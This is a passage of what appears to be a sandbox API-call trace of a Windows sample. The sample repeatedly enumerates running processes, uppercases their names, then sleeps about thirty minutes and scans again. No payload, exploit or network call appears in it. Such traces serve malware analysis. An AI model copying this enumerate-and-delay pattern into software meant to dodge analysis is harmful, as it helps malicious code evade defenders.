pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0120.851] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0120.851] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0120.851] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0120.851] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0120.851] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0120.851] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0120.851] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0120.851] lstrlenW (lpString="SearchUI.exe") returned 12 [0120.851] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0120.851] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0120.851] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0120.851] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0120.852] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0120.852] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0120.852] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0120.852] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0120.852] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0120.852] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0120.853] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0120.853] lstrlenW (lpString="nice cu.exe") returned 11 [0120.853] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0120.853] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0120.853] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0120.853] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0120.854] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0120.854] lstrlenW (lpString="video_reviewing.exe") returned 19 [0120.854] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0120.854] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0120.854] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0120.854] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0120.854] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0120.854] lstrlenW (lpString="shame.exe") returned 9 [0120.854] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0120.854] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0120.854] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0120.854] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0120.855] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0120.855] lstrlenW (lpString="fantasy.exe") returned 11 [0120.855] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0120.855] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0120.855] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0120.855] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0120.856] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0120.856] lstrlenW (lpString="accepting.exe") returned 13 [0120.856] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0120.856] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0120.856] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0120.856] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0120.857] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0120.857] lstrlenW (lpString="authorized.exe") returned 14 [0120.857] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0120.857] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0120.857] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0120.857] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0120.858] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0120.858] lstrlenW (lpString="isp.exe") returned 7 [0120.858] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0120.858] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0120.858] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0120.858] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0120.858] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0120.858] lstrlenW (lpString="cowboy.exe") returned 10 [0120.858] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0120.858] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0120.858] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0120.858] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0120.859] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0120.859] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0120.859] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0120.859] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0120.859] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0120.859] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0120.860] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0120.860] lstrlenW (lpString="thats.exe") returned 9 [0120.860] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0120.860] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0120.860] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0120.860] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0120.861] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0120.861] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0120.861] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0120.861] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0120.861] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0120.861] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0120.862] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0120.862] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0120.862] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0120.862] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0120.862] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0120.862] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0120.862] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0120.862] lstrlenW (lpString="actual.exe") returned 10 [0120.862] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0120.862] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0120.862] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0120.862] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0120.863] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0120.863] lstrlenW (lpString="potter larry.exe") returned 16 [0120.863] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0120.863] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0120.863] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0120.863] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0120.864] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0120.864] lstrlenW (lpString="contents what certificate.exe") returned 29 [0120.864] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0120.864] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0120.864] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0120.864] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0120.865] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0120.865] lstrlenW (lpString="cindy.exe") returned 9 [0120.865] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0120.865] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0120.865] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0120.865] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0120.865] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0120.865] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0120.865] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0120.865] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0120.865] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0120.866] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0120.866] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0120.866] lstrlenW (lpString="unusual.exe") returned 11 [0120.866] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0120.866] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0120.866] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0120.866] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0120.867] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0120.867] lstrlenW (lpString="pacific.exe") returned 11 [0120.867] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0120.867] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0120.867] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0120.867] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0120.868] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0120.868] lstrlenW (lpString="phantom.exe") returned 11 [0120.868] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0120.868] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0120.868] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0120.868] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.868] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0120.868] lstrlenW (lpString="audiodg.exe") returned 11 [0120.868] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0120.868] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0120.868] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0120.868] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0120.869] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0120.869] lstrlenW (lpString="SCN0tification.exe") returned 18 [0120.869] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0120.869] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0120.869] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0120.869] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.870] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0120.870] lstrlenW (lpString="svchost.exe") returned 11 [0120.870] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0120.870] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.870] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0120.870] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.871] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0120.871] lstrlenW (lpString="sppsvc.exe") returned 10 [0120.871] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0120.871] PathFindFileNameW (pszPath="SPPSVC.EXE") returned="SPPSVC.EXE" [0120.871] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPPSVC.EXE" | out: lpString1="SPPSVC.EXE") returned="SPPSVC.EXE" [0120.871] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0120.871] CloseHandle (hObject=0x350) returned 1 [0120.871] Sleep (dwMilliseconds=0x1b7740) [0130.873] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0130.882] Process32FirstW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.884] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0130.884] lstrlenW (lpString="[System Process]") returned 16 [0130.884] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0130.885] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0130.885] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0130.885] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.887] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0130.888] lstrlenW (lpString="System") returned 6 [0130.888] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0130.888] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0130.888] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0130.888] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.891] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0130.891] lstrlenW (lpString="smss.exe") returned 8 [0130.891] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0130.891] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0130.891] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0130.891] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.894] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: 